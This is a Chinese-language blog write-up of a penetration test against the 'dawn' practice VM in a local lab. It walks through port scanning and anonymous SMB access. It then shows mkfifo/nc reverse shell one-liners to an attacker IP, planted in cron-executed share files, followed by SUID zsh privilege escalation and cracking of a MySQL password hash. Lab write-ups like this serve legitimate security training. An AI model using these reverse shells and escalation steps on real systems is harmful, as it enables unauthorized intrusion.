dawn靶场渗透测试

项目概述

渗透测试目的

渗透测试范围

渗透测试时间

渗透测试环境

渗透测试人员

渗透测试方法

渗透测试流程

渗透测试方法与内容

渗透测试结果汇总

拿到关键信息Flag.txt

本次渗透测试范围为本地,具体如下:

1-1:渗透测试对象

序号

系统名称

网站地址

内外网

1

      dawn

http://192.168.21.19

内网

2023年11月10日 早12:00-下午14:00

在本地开展内网的vmware虚拟机中渗透测试。

TYR2

  • 信息收集
  • 主机存活扫描和端口扫描

        

后面靶机ip有变化,37à19

80、139、445、3306端口开放

80网页:

        

  •  目录扫描

        

发现logs文件夹

/logs中前三张图片权限不够,无法访问

日志文件,记录的操作貌似

看了一眼,不上很清楚,只是一些命令

  • 看看其他地方貌似没有什么可以利用的点
  • 可能突破口就在这个文件内容里面或者说是在139 445端口

搜索了一下linux中445端口

        

想起来之前信息收集,确实发现139、445是Samba服务器

        

那么我们去了解一下如何进入到这个共享文件中

在kali中可以使用 smbclient -L //IP进行连接,密码输错了就是只能看到文件名称

        

我们看到两个文件名称 print$ 和 ITDEPT

再想想办法如何进入到这个共享文件夹中去

        

  • 图形化连接命令-类似windows,在文件夹的地址栏输入

        

试试图形化连接--居然能够匿名进入

        

之后发现ITDEPT文件夹可以进入---没有任何东西,print$不能使用匿名进入现在有关键信息的就只是这个地方和那个日志文件了

搜索一下关键字 ITDEPT、print$、445、samba

发现每分钟都会给这个共享文件夹内的web-control文件和product-control赋予777权限并且执行

   其他的关键字搜索了,均没有什么可用信息

  • 漏洞验证与利用
  • Smb共享文件夹漏洞利用-方法一
  • 创建一个web-control.php文件,内容是反弹shell

成功创建--写入反弹shell代码

使用mkfifo堆栈的效果将shell反弹

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2 >&1 | nc 192.168.21.14 3333 > /tmp/f

是否用nc -e大家自己看着办

注意:

如果不使用nc -e 就像上面的代码一样,可能会出现反弹shell后执行命令没有回显,并且可能执行两三条命令后shell自动断开的情况

可以使用如下命令:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.21.14 4444 |/bin/bash|nc 192.168.21.14 5555

解释:这个需要简历两个监听窗口,一个4444,一个5555 .4444用于通讯---然后把命令放入/bin/bash解释器---然后5555端口用于显示出执行后的消息

                  

  • Shell反弹成功

        

此时用户是www-data服务用户

        

  • 查看/etc/passwd有两个正常用户

        

  • 查看sudo -l发现是NOPASSWD

        

但是不能sudo,还是需要密码

那就查看是否存在具有s权限的文件

find / -perm -u=s -type f 2>/dev/nul 

        

        发现zsh (类似bash)

        

  • 通过输入zsh就拿到一个交互的系统shell

        

拿到flag—有两个flag,第一个我找了一下,没找到,应该是搞丢了,不过没关系

        

  • 表示还有几种办法!

请继续看下去!下面是第二种方法

  • Smb共享文件夹漏洞利用-方法二

回到我们最初看日志的时候

需要仔细看,web-control是www-data用户的UID执行的

              product-control是UID为1000的用户执行的

                     所以在反弹shell后的权限也不会相同

        

上一个成功是使用的web-control反弹的www-data权限

         这里应该是要用UID为1000的普通用户反弹shell了

         我们把上面的命令复制一遍写入到product-control里面

    

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.21.14 4444 |/bin/bash|nc 192.168.21.14 5555

  • kali同时开启监听

反弹shell成功

这里对比一下

        

有明显的对比,dawn用户是普通用户

  • 然后我们从零开始利用,不使用zsh提权

别忘了优化一下shell :python -c "import pty;pty.spawn('/bin/bash')"

因为我们扫端口的时候有个3306,这次应该是如何利用mysql吧,去找找看

  • 来到dawn家目录下,ls -al查看隐藏文件,发现有个.bash_history和.mysql_history文件,记录了历史命令

.bash_history文件通常包含用户在命令行上执行的历史命令记录。

        

        

        

  • 发现当前dawn用户可以NOPASSWD使用mysql

猜测可能是mysql的登录密码

发现几条可疑命令,$1$$bOKpT2ijO.XcGlpjgAup9/ 复制解密一下

  • john爆破出密码为onii-chan29

使用sudo命令登录mysql,密码是爆破出来的密码

其实不难发现,作者也在提示我们,在mysql的历史命令文件中有\! sh命令

        

  • 到这里,我发现的第二种方法就没了。

后面两种方法究竟是怎么做的,还需要慢慢摸索,仔细查看

dawn靶场渗透测试主要的利用点从主要的80端口转回到了445端口,通过逐渐的摸索发现445的共享文件夹,然后得到落脚点。通过这次打靶学到了很多东西,比如说nc -e这个参数,还有如何使用通道的方式去达成一个窗口执行命令,另一个窗口回显结果。等等…

嗷对了,我想请问一下大家,为什么Linux在mysql登录进入后,使用\! Sh就能回到登陆用户(root)的shell呢?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值